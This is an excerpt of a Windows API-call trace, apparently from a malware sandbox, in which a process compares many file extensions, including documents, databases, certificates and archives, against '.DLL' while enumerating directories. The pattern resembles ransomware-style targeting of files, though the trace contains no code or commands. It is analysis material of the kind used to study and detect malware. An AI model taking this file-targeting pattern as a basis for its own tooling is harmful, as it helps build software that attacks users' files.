lstrlenW (lpString=".jpf") returned 4 [0272.272] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".jpg") returned 4 [0272.272] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".jpx") returned 4 [0272.272] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".js") returned 3 [0272.272] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0272.272] lstrlenW (lpString=".jsf") returned 4 [0272.272] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".json") returned 5 [0272.272] lstrcmpiW (lpString1=".json", lpString2="L.DLL") returned -1 [0272.272] lstrlenW (lpString=".jsp") returned 4 [0272.272] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".kdc") returned 4 [0272.272] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".kmz") returned 4 [0272.272] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0272.272] lstrlenW (lpString=".kwm") returned 4 [0272.272] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".lasso") returned 6 [0272.273] lstrcmpiW (lpString1=".lasso", lpString2="TL.DLL") returned -1 [0272.273] lstrlenW (lpString=".lbi") returned 4 [0272.273] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".lgf") returned 4 [0272.273] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".lgp") returned 4 [0272.273] lstrcmpiW (lpString1=".lgp", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".log") returned 4 [0272.273] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".m1v") returned 4 [0272.273] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".m4a") returned 4 [0272.273] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".m4v") returned 4 [0272.273] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".max") returned 4 [0272.273] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".md") returned 3 [0272.273] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0272.273] lstrlenW (lpString=".mda") returned 4 [0272.273] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".mdb") returned 4 [0272.273] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".mde") returned 4 [0272.273] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0272.273] lstrlenW (lpString=".mdf") returned 4 [0272.274] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mdw") returned 4 [0272.274] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mef") returned 4 [0272.274] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mft") returned 4 [0272.274] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mfw") returned 4 [0272.274] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mht") returned 4 [0272.274] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mhtml") returned 6 [0272.274] lstrcmpiW (lpString1=".mhtml", lpString2="TL.DLL") returned -1 [0272.274] lstrlenW (lpString=".mka") returned 4 [0272.274] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mkidx") returned 6 [0272.274] lstrcmpiW (lpString1=".mkidx", lpString2="TL.DLL") returned -1 [0272.274] lstrlenW (lpString=".mkv") returned 4 [0272.274] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mos") returned 4 [0272.274] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mov") returned 4 [0272.274] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mp3") returned 4 [0272.274] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mp4") returned 4 [0272.274] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0272.274] lstrlenW (lpString=".mpeg") returned 5 [0272.274] lstrcmpiW (lpString1=".mpeg", lpString2="L.DLL") returned -1 [0272.274] lstrlenW (lpString=".mpg") returned 4 [0272.274] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".mpv") returned 4 [0272.275] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".mrw") returned 4 [0272.275] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".msg") returned 4 [0272.275] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".mxl") returned 4 [0272.275] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".myd") returned 4 [0272.275] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".myi") returned 4 [0272.275] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".nef") returned 4 [0272.275] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".nrw") returned 4 [0272.275] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".obj") returned 4 [0272.275] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".odb") returned 4 [0272.275] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".odc") returned 4 [0272.275] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".odm") returned 4 [0272.275] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".odp") returned 4 [0272.275] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".ods") returned 4 [0272.275] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".oft") returned 4 [0272.275] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".one") returned 4 [0272.275] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0272.275] lstrlenW (lpString=".onepkg") returned 7 [0272.276] lstrcmpiW (lpString1=".onepkg", lpString2="NTL.DLL") returned -1 [0272.276] lstrlenW (lpString=".onetoc2") returned 8 [0272.276] lstrcmpiW (lpString1=".onetoc2", lpString2="INTL.DLL") returned -1 [0272.276] lstrlenW (lpString=".opt") returned 4 [0272.276] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".oqy") returned 4 [0272.276] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".orf") returned 4 [0272.276] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".p12") returned 4 [0272.276] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".p7b") returned 4 [0272.276] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".p7c") returned 4 [0272.276] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".pam") returned 4 [0272.276] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".pbm") returned 4 [0272.276] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".pct") returned 4 [0272.276] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0272.276] lstrlenW (lpString=".pcx") returned 4 [0272.276] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0272.277] lstrlenW (lpString=".pdd") returned 4 [0272.277] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0272.277] lstrlenW (lpString=".pdf") returned 4 [0272.277] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pdp") returned 4 [0272.278] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pef") returned 4 [0272.278] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pem") returned 4 [0272.278] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pff") returned 4 [0272.278] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pfm") returned 4 [0272.278] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pfx") returned 4 [0272.278] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".pgm") returned 4 [0272.278] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".php") returned 4 [0272.278] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0272.278] lstrlenW (lpString=".php3") returned 5 [0272.278] lstrcmpiW (lpString1=".php3", lpString2="L.DLL") returned -1 [0272.278] lstrlenW (lpString=".php4") returned 5 [0272.278] lstrcmpiW (lpString1=".php4", lpString2="L.DLL") returned -1 [0272.278] lstrlenW (lpString=".php5") returned 5 [0272.278] lstrcmpiW (lpString1=".php5", lpString2="L.DLL") returned -1 [0272.278] lstrlenW (lpString=".phtml") returned 6 [0272.278] lstrcmpiW (lpString1=".phtml", lpString2="TL.DLL") returned -1 [0272.278] lstrlenW (lpString=".pict") returned 5 [0272.278] lstrcmpiW (lpString1=".pict", lpString2="L.DLL") returned -1 [0272.278] lstrlenW (lpString=".pl") returned 3 [0272.279] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0272.279] lstrlenW (lpString=".pls") returned 4 [0272.279] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0272.279] lstrlenW (lpString=".pm") returned 3 [0272.279] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0272.279] lstrlenW (lpString=".png") returned 4 [0272.279] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0272.279] lstrlenW (lpString=".pnm") returned 4 [0272.279] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0272.279] lstrlenW (lpString=".pot") returned 4 [0272.279] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0272.279] lstrlenW (lpString=".potm") returned 5 [0272.279] lstrcmpiW (lpString1=".potm", lpString2="L.DLL") returned -1 [0272.279] lstrlenW (lpString=".potx") returned 5 [0272.279] lstrcmpiW (lpString1=".potx", lpString2="L.DLL") returned -1 [0272.279] lstrlenW (lpString=".ppa") returned 4 [0272.279] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0272.279] lstrlenW (lpString=".ppam") returned 5 [0272.279] lstrcmpiW (lpString1=".ppam", lpString2="L.DLL") returned -1 [0272.285] lstrlenW (lpString=".ppm") returned 4 [0272.285] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0272.285] lstrlenW (lpString=".pps") returned 4 [0272.285] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0272.285] lstrlenW (lpString=".ppsm") returned 5 [0272.285] lstrcmpiW (lpString1=".ppsm", lpString2="L.DLL") returned -1 [0272.285] lstrlenW (lpString=".ppt") returned 4 [0272.285] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0272.285] lstrlenW (lpString=".pptm") returned 5 [0272.285] lstrcmpiW (lpString1=".pptm", lpString2="L.DLL") returned -1 [0272.285] lstrlenW (lpString=".pptx") returned 5 [0272.285] lstrcmpiW (lpString1=".pptx", lpString2="L.DLL") returned -1 [0272.285] lstrlenW (lpString=".prn") returned 4 [0272.285] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0272.285] lstrlenW (lpString=".ps") returned 3 [0272.285] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0272.285] lstrlenW (lpString=".psb") returned 4 [0272.285] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0272.285] lstrlenW (lpString=".psd") returned 4 [0272.286] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".pst") returned 4 [0272.286] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".ptx") returned 4 [0272.286] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".pub") returned 4 [0272.286] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".pwm") returned 4 [0272.286] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".pxr") returned 4 [0272.286] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0272.286] lstrlenW (lpString=".py") returned 3 [0272.286] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0272.286] lstrlenW (lpString=".qt") returned 3 [0272.286] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0272.286] lstrlenW (lpString=".r3d") returned 4 [0272.286] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0272.287] lstrlenW (lpString=".raf") returned 4 [0272.287] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1 [0272.287] lstrlenW (lpString=".rar") returned 4 [0272.287] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0272.287] lstrlenW (lpString=".raw") returned 4 [0272.287] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1 [0272.289] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0272.289] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0272.292] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0272.292] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0272.292] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0272.292] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0272.710] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0272.982] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0273.144] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0273.161] FindNextFileW (in: hFindFile=0x380bde0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0273.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.170] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0273.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.172] FindNextFileW (in: hFindFile=0x380c0a0, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 0 [0273.172] FindClose (in: hFindFile=0x380c0a0 | out: hFindFile=0x380c0a0) returned 1 [0273.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.172] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0273.172] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cd128 | out: hHeap=0x640000) returned 1 [0273.173] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0273.173] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4599438 | out: hHeap=0x640000) returned 1 [0273.173] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0273.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0273.176] FindNextFileW (in: hFindFile=0x380c360, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0273.176] FindClose (in: hFindFile=0x380c360 | out: hFindFile=0x380c360) returned 1 [0273.176] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0273.176] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0273.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0273.177] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0273.177] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0273.177] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cd128 | out: hHeap=0x640000) returned 1 [0275.952] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0275.953] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0275.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.953] FindNextFileW (in: hFindFile=0x380bf60, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.953] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.953] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.953] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.954] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.954] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.954] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.954] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.955] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.955] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.955] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.955] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.955] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.956] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.956] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.956] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.956] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.956] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.957] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.957] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.958] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.958] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.958] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.959] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.959] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.959] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.959] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.960] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.960] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.960] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.961] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.961] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.961] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.961] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.962] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.962] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.962] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.962] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.963] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.963] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.963] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.963] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.963] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.964] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 